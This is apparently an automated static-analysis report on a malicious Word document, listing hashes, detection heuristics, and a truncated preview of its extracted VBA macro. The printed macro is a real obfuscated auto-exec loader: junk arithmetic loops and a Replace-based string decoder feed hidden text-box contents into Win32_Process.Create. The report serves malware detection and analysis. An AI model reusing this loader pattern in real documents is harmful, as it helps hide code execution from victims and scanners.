Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ece4c9613d189abe…

MALICIOUS

Office (OLE)

244.0 KB Created: 2019-09-20 06:27:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 18d10dbdbd51d840a68820e8a71b566e SHA-1: ea1e75d051a836477ddb4936bc0a18af12526a81 SHA-256: ece4c9613d189abe99d82ebbcbe8b952b2417b6ef0bd166c0724a4acaae4988f
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing an obfuscated VBA macro. The macro utilizes CreateObject and Shell functions, indicating an intent to execute arbitrary code, likely a second-stage payload. The presence of an AutoOpen macro and the critical heuristic for an obfuscated auto-exec loader strongly suggest malicious intent.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-7172430-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7172430-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22475 bytes
SHA-256: a15fa1262aef94a31994064611d64671b4e886b0d1f01b0b821140fb71be5130
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Jj6ju2, 0, 0, MSForms, TextBox"
Attribute VB_Control = "kWrGsN, 1, 1, MSForms, TextBox"
Attribute VB_Control = "n4tO1jl, 2, 2, MSForms, TextBox"
Attribute VB_Control = "QFiWD99i, 3, 3, MSForms, TextBox"
Attribute VB_Control = "jRHvwVO3, 4, 4, MSForms, TextBox"
Attribute VB_Control = "twGaCkaq, 5, 5, MSForms, TextBox"
Attribute VB_Control = "iR4Ashb, 6, 6, MSForms, TextBox"
Attribute VB_Control = "s4vnjd2, 7, 7, MSForms, TextBox"
Attribute VB_Control = "LpcwoS07, 8, 8, MSForms, TextBox"
Attribute VB_Control = "zwY4mrY, 9, 9, MSForms, TextBox"
Attribute VB_Control = "B_6EkB8B, 10, 10, MSForms, TextBox"
Attribute VB_Control = "o2FPvJh4, 11, 11, MSForms, TextBox"
Attribute VB_Control = "Euz3ppw, 12, 12, MSForms, TextBox"
Attribute VB_Control = "pOwhr1nI, 13, 13, MSForms, TextBox"
Attribute VB_Control = "B_f0qoN, 14, 14, MSForms, TextBox"
Attribute VB_Control = "YcTKZPM, 15, 15, MSForms, TextBox"
Attribute VB_Control = "BChhUN, 16, 16, MSForms, TextBox"
Attribute VB_Control = "odWRlb, 17, 17, MSForms, TextBox"
Attribute VB_Control = "H57HFdwz, 18, 18, MSForms, TextBox"
Attribute VB_Control = "rbmO125a, 19, 19, MSForms, TextBox"

Attribute VB_Name = "v5qVzd8V"
Function Aj7arG()
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If Pj5u8hwO = WlfPwh Then
         iqMpGD2 = Tan(1141)
      End If
         wZOCVLC = WXmUOFJD * CDate(cLjiwWw) / hc24o_1 / AFacY6GV + (XGjCuc / CStr(V3aqj8d) / 3 * CStr(if0UYQV))
      For Each wFwmcc In odIZGa5
         wXUhd_K = rz8D2K_ - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(ijzZ9ED) - 6977 - E_iEEs - wurjGo * Sin(jzjum9am)
      Next
Loop Until DmjZQd = EjCwsOEi
OzVKM1ai = urd_ic + joRhwjBW(ThisDocument.B_f0qoN + ThisDocument.s4vnjd2) + tALbLo5h
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If mbXJjiI = QVZEHLii Then
         YOVhlmu = Tan(1141)
      End If
         m9QKYM = oujj31 * CDate(jiFjqH) / FTWY6w / O4awDKA3 + (kuI8lZPQ / CStr(iqlmtG) / 3 * CStr(s2UAMr))
      For Each UTMciNos In AJs8Jow
         fSwF9G = Aorhcq - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(wDjjcC) - 6977 - LF6X6s - ljqslN * Sin(fMnEt9j)
      Next
Loop Until wNkS9t = f24LjHU

CreateObject(joRhwjBW("IuH3IuH3wIuH3iIuH3nmgIuH3mtIuH3sIuH3IuH3:IuH3WIuH3IuH3iIuH3n3IuH32_PIuH3roIuH3cIuH3eIuH3ssIuH3")).Create OzVKM1ai, bTBm20, NHpwGp, nvuOZbW
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If fbVcA3LF = F40Fc0 Then
         lU7r3zAa = Tan(1141)
      End If
         YQpHfjkF = GLSE53 * CDate(nMq3fzT) / vjjbkFPn / zYafXzC + (B2wAUhq / CStr(fv4zrk) / 3 * CStr(f4iGDcc))
      For Each EUsTCcH In GGiP55j0
         lLs2z2NK = zYWu1cV - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(dTwC6bj0) - 6977 - hlEbwjSY - X1SAVzuv * Sin(XjoBcX8)
      Next
Loop Until VP43Ld27 = JhD3_jt

   On Error Resume Next
   Set mna = xqmm6672
   Do
      If M6ohFJ = aQCar6 Then
         rEcKm0 = Tan(1141)
      End If
         Ci66Rj9b = WzwMzj * CDate(TsIKriZ) / jdCkQF / fOdC8Sl + (ZkZnQ7L / CStr(G24zXjH) / 3 * CStr(w7qKsJ))
      For Each OjiaZi In Dzvfbh
         i9zl128 = AnfvU4Q - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(hpiMsT) - 6977 - PrX92bE - mWHXbjn * Sin(vOfu8fk)
      Next
Loop Until KEdQibSj = cKMbnzI
End Function
Function joRhwjBW(z9wUnj)
   On Error Resume Next
   Set mna = xqmm6672
   Do
      If Rzz5FsI = zRlw3v2 Then
         qJz4wZM = Tan(1141)
      End If
         LTJIkq = QaS2XY * CDate(cZk5zzt) / K9wd0X / h62izr6 + (Wajrbws / CStr(AmnQZl) / 3 * CStr(TsQ3VD))
      For Each liP3ts In MYSVbv
         wsWF7Y = NwTNiq - ChrW(6 + Oct(206871448 / CDate(85))) + 7990 - Fix(zYtScoi) - 6977 - YBAS4knj - hrfXU0_m * Sin(XqkT7WC)
      Next
Loop Until jSKEIcXf = MrrTubq
joRhwjBW = Replace(z9wUnj, Rep
... (truncated)